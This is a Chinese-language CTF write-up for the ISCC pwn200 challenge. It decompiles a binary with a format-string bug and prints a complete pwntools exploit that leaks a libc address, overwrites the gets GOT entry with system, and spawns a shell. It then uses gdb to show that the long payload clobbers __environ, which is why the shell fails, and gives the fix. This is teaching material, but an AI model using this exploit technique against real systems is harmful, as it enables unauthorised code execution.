前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ISCC中pwn200 shell无法启动原因详解

ISCC中pwn200 shell无法启动原因详解

作者头像
WeaponX
发布2018-05-04 15:29:27
1.3K0
发布2018-05-04 15:29:27
举报
文章被收录于专栏:BinarySecBinarySecBinarySec

0x00 背景

一朋友问到在pwn中,gdb调试看到了systemm("/bin/sh")了,但是shell确无法启动。于是我详细看了一下这个题目,发现自己的exploit绝大多数情况下也无法启动shell。

0x01 题目解答

用IDA逆了一下,程序很简单,printf的参数可以控制。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ int v3; // [sp+14h] [bp-6Ch]@3 int v4; // [sp+18h] [bp-68h]@5 int v5; // [sp+7Ch] [bp-4h]@1 v5 = *MK_FP(__GS__, 20); setbuf(stdout, 0); while ( 1 ) { introduce(); do __isoc99_scanf("%d", &v3); while ( (char *)(char)getchar() == "\n" ); if ( v3 == 1 ) { puts("please input your name:"); gets((char *)&v4); printf((const char *)&v4); puts(",you are welcome!"); } else if ( v3 == 2 ) { puts("nothing!!!!lol"); } else { puts("please,don't trick me"); } }}

程序是一个循环,所以可以无限次的利于格式化字符串漏洞。

我们可以通过第一次利用,泄漏任意一个函数的地址,通过libc计算偏移从而计算出system函数的地址。 通过第二次利用可以通过printf来覆盖gets的GOT表中的地址的前三位(小端存储),即可将gets的GOT中的地址换成system的地址。 有了system的地址,还需要一个sh的地址。然而由于gets的参数就是指针,所以需要v4指向的值为sh。于是可以在第二次利用payload中加上字符sh,此时有个技巧,因为没法控制sh后面是0x00,所以需要在sh后面加一个分号,这样就将这个长字符串当成sh和未知命令来执行。

写GOT表还有个小技巧,因为通过printf来写内存的时候是将printf打印出来字符的数量写入内存。因此,当写一个很大的值时屏幕会打印很多字符导致程序崩掉。

所以,在这里我们使用一字节写%hhn,按字节顺序写gets函数GOT表中的三个字节(一次完成)。

0x02 Exploit及其无法启动分析

from pwn import *#io = remote("115.28.185.220", 11111)io = remote("127.0.0.1", 10001)context.log_level = "DEBUG"#raw_input()elf = ELF("./pwn1")#libc = ELF("./libc32.so")libc = ELF("./libc-2.19.so")gets_system = libc.symbols["gets"] - libc.symbols["system"]io.recvuntil("plz input$")io.sendline("1")io.recvuntil("please input your name:")payload = p32(elf.got["gets"]) + "%6$s"io.sendline(payload)gets_addr = io.recvuntil("Welcome to ziiiro's class")[5:9]gets_addr = u32(gets_addr)log.success("[gets addr] = > {}".format(hex(gets_addr)))#io.interactive()def get_sum(pre, num): x = num - pre if x < 0: x = 255 + x + 1 return xsystem_addr = p32(gets_addr - gets_system)num1 = get_sum(16, ord(system_addr[0]))num2 = get_sum(16+num1, ord(system_addr[1]))num3 = get_sum(16+num1+num2, ord(system_addr[2]))log.success("[system addr] = > {}".format(hex(gets_addr - gets_system)))print num1, num2, num3raw_input()payload = "sh;a"payload += p32(elf.got["gets"])payload += p32(elf.got["gets"] + 1)payload += p32(elf.got["gets"] + 2)payload += "a" * num1 + "%7$hhn"payload += "b" * num2 + "%8$hhn"payload += "c" * num3 + "%9$hhn"payload += "\x00"io.recvuntil("plz input$")io.sendline("1")io.recvuntil("please input your name:")io.sendline(payload)io.recvuntil("Welcome to ziiiro's class")io.recvuntil("plz input$")io.sendline("1")io.interactive()

调试,看为什么无法执行shell。system执行流程如下

system -> __libc_system -> do_system -> execve

do_system

#ifdef FORK pid = FORK ();#else pid = __fork ();#endif if (pid == (pid_t) 0) { /* Child side. */ const char *new_argv[4]; new_argv[0] = SHELL_NAME; new_argv[1] = "-c"; new_argv[2] = line; new_argv[3] = NULL; /* Restore the signals. */ (void) __sigaction (SIGINT, &intr, (struct sigaction *) NULL); (void) __sigaction (SIGQUIT, &quit, (struct sigaction *) NULL); (void) __sigprocmask (SIG_SETMASK, &omask, (sigset_t *) NULL); INIT_LOCK (); /* Exec the shell. */ (void) __execve (SHELL_PATH, (char *const *) new_argv, __environ); _exit (127); } else if (pid < (pid_t) 0) /* The fork failed. */ status = -1; else /* Parent side. */ { /* Note the system() is a cancellation point. But since we call waitpid() which itself is a cancellation point we do not have to do anything here. */ if (TEMP_FAILURE_RETRY (__waitpid (pid, &status, 0)) != pid) status = -1; }

可以看出do_system的流程是这样的,先fork一个进程。子进程去执行execve。

Legend: code, data, rodata, value136 (void) __execve (SHELL_PATH, (char *const *) new_argv, __environ);gdb-peda$ p new_argv$3 = {0xf7732bb1 "sh", 0xf7732ba9 "-c", 0xffb4b4d8 "sh;a\024\240\004\b\025\240\004\b\026\240\004\b%7$hhn", 'b' <repeats 178 times>..., 0x0}gdb-peda$ p __environ$4 = (char **) 0xffb4b5ecgdb-peda$ x/wx 0xffb4b5ec0xffb4b5ec: 0x63636363 => not Accessablegdb-peda$

可以看出__environnew_argv中的第三个元素只差0x114 = 276个字符,所以直接被payload覆盖了。

execve有三个参数,第一个参数是,第二个参数是argv,第三个参数是envp。其中第二个参数和第三个参数都是char **类型的,也就是说都是字符串数组。然而,我们可以通过调试看出由于argv中的第三个元素,也就是我们system的参数过长,导致覆盖掉了__environ,也就是覆盖了__environ中的指针,此时程序会访问这个指针指向的地址,当然这个地址是不可访问的。程序fork出来的进程就会crash。所以shell并没有启动起来。

那么还有一个问题,有时候shell却能起成功。原因是:人品好!因为payload是根据system地址动态变化的,所以当地址差值刚好变小的时候payload无法覆盖__environ。这时候shell便可以成功启动。

0x03 解决方法

在printf修改GOT表的时候,同时将payload用0x00截断即可。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2017-05-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 背景
  • 0x01 题目解答
  • 0x02 Exploit及其无法启动分析
  • 0x03 解决方法
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档